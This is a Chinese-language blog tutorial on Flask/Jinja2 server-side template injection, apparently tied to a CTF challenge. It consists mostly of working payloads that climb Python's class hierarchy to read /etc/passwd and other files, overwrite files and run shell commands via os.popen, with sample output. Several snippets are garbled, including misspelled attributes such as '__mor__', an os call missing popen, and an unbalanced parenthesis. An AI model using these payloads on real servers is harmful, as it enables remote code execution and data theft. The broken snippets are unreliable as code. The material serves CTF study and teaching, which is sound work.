【SSTI】flask 模板注入最详解

一、flask是用python编写的一个轻量web开发框架

二、flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入。

三、flask基础知识:

1. __class__: 返回当前类(有字符串类,元组类,字典组等等)

所有的子类都有一个共同的父类object,如果没指定继承,默认父类是object

2. __mor__: 返回解析函数时,类的调用顺序,先调用str类,再调用object类,通过索引的方式__mor[1],就可返回object类。

3. __base__: 返回当前父类(以字符串的形式)或者__bases__以元组的形式返回所有父类(元组可以通过索引访问)

print('abc'.__class__.__bases__[0].__subclasses__())

print('abc'.__class__.__base__.__subclasses__())

这两者一样

4. __subclass__(): 返回当前类所有的子类,可通过索引的方式定位某一个子类。

结果会返回很多类,但是可以通过len() 来查看其长度,调用系统命令os.wrap.close类

import os
print('abc'.__class__.__mro__[1].__subclasses__().index(os._wrap_close))

print('abc'.__class__.mro__[1].__subclasses__()[1])

5. __init__(初始化方法),__globals__(访问全局变量,字典),通过popen,以及read方法来进行系统命令执行

print('abc'.__class__.__base__.subclasses__()[41].__init__.__globals__['os']('fl4g').read())

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

6. __builtins__下的open进行文件的读取:

{{''.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read())}}

7.通过write() 方式修改文件内容

{{''.__class__.__mro__[1].__subclasses__()[41].__init__.__globals__['__builtins__']['open']('1.txt','w').write('123456')}}

 __class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

例题: Web_python_template_injection

payload:

1 、获取字符串的类对象

''.__class__
<type 'str'>

2 、寻找基类

''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

3 、寻找可用引用

这里有个小细节,'__mro__[] '中括号里填谁其实区别都不大,这些基类引用的东西都一样。

 ''.__class__.__mro__[2].__subclasses__()

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, 
<type 'member_descriptor'>, <type 'file'> ......]
//<type 'file'> 是第41个,所以索引为__subclasses__()[40];

从其中可以找到我们想要的 'os' 所在的 ' site._Printer '类,它在列表的第七十二位,即 '__subclasses__()[71]'。 

4、利用:

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

 

5、 从其中可以找到我们想要
的 `os` 所在的 `site._Printer` 类,它在列表的第七十二位,
即 `__subclasses__()[71]` 。

__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()

来 **调用服务器的控制台** **并显示** ,这下我们就可以随便用控制台输出了。

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

8、打开文件

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

 

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值